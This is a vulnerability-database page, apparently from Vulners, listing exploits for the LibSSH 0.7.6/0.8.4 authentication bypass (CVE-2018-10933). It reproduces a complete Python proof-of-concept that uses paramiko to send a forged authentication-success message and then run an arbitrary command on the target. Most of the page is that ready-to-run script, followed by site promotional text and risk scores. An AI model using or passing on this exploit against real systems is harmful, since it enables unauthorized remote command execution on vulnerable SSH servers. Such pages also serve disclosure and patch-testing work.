LibSSH 0.7.6 / 0.8.4 Unauthorized Access
| Reporter | Title | Published | Views | Family All 158 |
|---|---|---|---|---|
| Exploit for Improper Authentication in Libssh | 17 Oct 201818:44 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 1 Apr 202413:47 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 17 Oct 201814:14 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 20 Oct 201815:34 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 17 Oct 201809:01 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 18 Oct 201819:13 | – | githubexploit | |
| Exploit for CVE-2018-10933 | 5 Jul 202619:52 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 21 Oct 201820:41 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 1 Apr 202413:47 | – | githubexploit | |
| Exploit for Improper Authentication in Libssh | 18 Oct 201815:08 | – | githubexploit |
10
`#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging
# pip3 install paramiko==2.0.8
#logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
logging.basicConfig(stream=sys.stdout)
bufsize = 2048
def execute(hostname, port, command):
sock = socket.socket()
try:
sock.connect((hostname, int(port)))
message = paramiko.message.Message()
transport = paramiko.transport.Transport(sock)
transport.start_client()
message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
transport._send_message(message)
client = transport.open_session(timeout=10)
client.exec_command(command)
# stdin = client.makefile("wb", bufsize)
stdout = client.makefile("rb", bufsize)
stderr = client.makefile_stderr("rb", bufsize)
output = stdout.read()
error = stderr.read()
stdout.close()
stderr.close()
return (output+error).decode()
except paramiko.SSHException as e:
logging.exception(e)
logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
except socket.error:
logging.debug("Unable to connect.")
return None
if __name__ == '__main__':
print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Feb 2019 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.91789